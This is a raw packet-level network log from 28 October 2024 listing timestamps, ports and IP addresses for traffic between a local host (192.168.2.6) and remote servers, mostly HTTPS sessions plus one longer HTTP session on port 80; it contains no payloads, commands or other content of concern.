Oct 28, 2024 02:07:45.069472075 CET	49981	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.069489956 CET	443	49981	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.070111036 CET	49981	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.070116043 CET	443	49981	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.131308079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:45.131402969 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:45.193903923 CET	443	49980	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.194082975 CET	443	49980	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.194154978 CET	49980	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.194576025 CET	443	49978	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.194726944 CET	443	49978	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.194915056 CET	49978	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.195529938 CET	443	49977	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.195588112 CET	443	49977	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.195724010 CET	49977	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.199604988 CET	443	49979	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.199676991 CET	443	49979	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.199737072 CET	49979	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.207842112 CET	49980	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.207875013 CET	443	49980	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.207890987 CET	49980	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.207899094 CET	443	49980	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.208782911 CET	49979	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.208808899 CET	443	49979	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.208822966 CET	49979	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.208827972 CET	443	49979	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.214560032 CET	49978	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.214560032 CET	49978	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.214593887 CET	443	49978	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.214610100 CET	443	49978	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.215131044 CET	49977	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.215153933 CET	443	49977	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.215184927 CET	49977	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.215190887 CET	443	49977	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.222631931 CET	49982	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.222676992 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.222749949 CET	49982	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.226809978 CET	49983	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.226855040 CET	443	49983	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.226926088 CET	49983	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.229330063 CET	49984	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.229340076 CET	443	49984	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.229532003 CET	49984	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.231242895 CET	49985	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.231281996 CET	443	49985	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.231467962 CET	49985	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.232139111 CET	49985	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.232156992 CET	443	49985	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.232434034 CET	49982	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.232446909 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.232686996 CET	49983	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.232702971 CET	443	49983	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.232835054 CET	49984	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.232846022 CET	443	49984	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.234225035 CET	443	49981	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.234302044 CET	443	49981	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.234349012 CET	49981	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.234535933 CET	49981	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.234548092 CET	443	49981	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.234556913 CET	49981	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.234561920 CET	443	49981	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.237353086 CET	49986	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.237365007 CET	443	49986	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.237575054 CET	49986	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.237756968 CET	49986	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.237768888 CET	443	49986	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.758734941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:45.765614986 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:45.962028027 CET	443	49983	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.962651968 CET	49983	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.962675095 CET	443	49983	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.963211060 CET	49983	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.963217020 CET	443	49983	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.970782995 CET	443	49985	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.971352100 CET	49985	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.971378088 CET	443	49985	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.971817017 CET	49985	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.971823931 CET	443	49985	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.975601912 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.975927114 CET	49982	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.975944996 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.976334095 CET	49982	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.976340055 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.984085083 CET	443	49986	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.986243010 CET	49986	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.986263990 CET	443	49986	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.986840963 CET	49986	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.986846924 CET	443	49986	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.998791933 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:45.998821974 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:45.998894930 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:45.999105930 CET	49987	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:45.999119043 CET	443	49987	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:46.003443956 CET	443	49984	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.003766060 CET	49984	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.003789902 CET	443	49984	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.004158020 CET	49984	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.004163027 CET	443	49984	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.041697025 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.041708946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.041728020 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.041755915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.041766882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.041771889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.041811943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.041840076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.041842937 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.041851997 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.041851997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.041884899 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.041908026 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.042088032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.042140961 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.042151928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.042203903 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.042327881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.042367935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.042376041 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.042411089 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.047195911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.047218084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.047230959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.047249079 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.047337055 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.093039989 CET	443	49983	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.093214989 CET	443	49983	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.093277931 CET	49983	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.093390942 CET	49983	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.093401909 CET	443	49983	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.093413115 CET	49983	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.093417883 CET	443	49983	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.096416950 CET	49988	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.096465111 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.096538067 CET	49988	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.096683025 CET	49988	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.096702099 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.107132912 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.107153893 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.107199907 CET	49982	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.107218027 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.107228994 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.107281923 CET	49982	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.107450962 CET	49982	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.107464075 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.107476950 CET	49982	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.107482910 CET	443	49982	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.109985113 CET	49989	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.110024929 CET	443	49989	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.110084057 CET	49989	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.110208988 CET	49989	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.110224962 CET	443	49989	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.114783049 CET	443	49986	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.114850998 CET	443	49986	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.114909887 CET	49986	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.115000010 CET	49986	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.115008116 CET	443	49986	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.115024090 CET	49986	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.115027905 CET	443	49986	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.117237091 CET	49990	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.117250919 CET	443	49990	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.117366076 CET	49990	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.117513895 CET	49990	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.117528915 CET	443	49990	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.118109941 CET	443	49985	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.118252039 CET	443	49985	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.118319988 CET	49985	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.118381023 CET	49985	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.118391037 CET	443	49985	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.118401051 CET	49985	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.118405104 CET	443	49985	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.120454073 CET	49991	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.120465994 CET	443	49991	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.120517015 CET	49991	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.120630026 CET	49991	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.120645046 CET	443	49991	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.140254974 CET	443	49984	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.140427113 CET	443	49984	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.140510082 CET	49984	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.140552044 CET	49984	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.140563965 CET	443	49984	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.140573978 CET	49984	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.140578985 CET	443	49984	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.142724991 CET	49992	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.142752886 CET	443	49992	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.142879963 CET	49992	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.142971039 CET	49992	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.142982006 CET	443	49992	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.200431108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.200448036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.200470924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.200489044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.200503111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.200510025 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.200515032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.200529099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.200545073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.200586081 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.201087952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.201141119 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.201153040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.201169014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.201184034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.201195955 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.201215982 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.201229095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.201240063 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.201272011 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.201987982 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.202016115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.202028990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.202068090 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.202071905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.202084064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.202096939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.202115059 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.202142000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.202951908 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.202967882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.202994108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.203002930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.203007936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.203023911 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.203044891 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.317274094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.317329884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.358658075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.358670950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.358730078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.358730078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.358740091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.358772039 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.358886003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.358897924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.358908892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.358928919 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.358954906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.359136105 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359147072 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359175920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.359352112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359364033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359375954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359410048 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.359433889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.359630108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359641075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359653950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359680891 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.359682083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359695911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359709024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.359709978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.359749079 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.360255957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360268116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360280991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360291004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360308886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.360337019 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.360641956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360666037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360677958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360691071 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360702991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360706091 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.360713959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360724926 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.360729933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360742092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.360753059 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.360771894 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.361615896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.361629009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.361641884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.361696959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.361696959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.361707926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.361722946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.361745119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.361757040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.361757040 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.361773014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.361780882 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.361815929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.362579107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.362591028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.362602949 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.362632036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.362641096 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.362652063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.362658978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.362665892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.362679005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.362689018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.362690926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.362715960 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.362730980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.364075899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.364120007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.364125967 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.364131927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.364159107 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.364173889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.434168100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.434181929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.434237003 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.434319973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.517571926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517585993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517600060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517648935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517662048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517667055 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.517674923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517684937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517688990 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.517699003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517708063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517720938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517720938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.517735004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517746925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517760038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.517772913 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.517797947 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.517837048 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518249989 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518260956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518274069 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518285990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518299103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518309116 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518310070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518321991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518335104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518357992 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518373966 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.518397093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518408060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.518443108 CET	80	49967	185.215.113.206	192.168.2.6
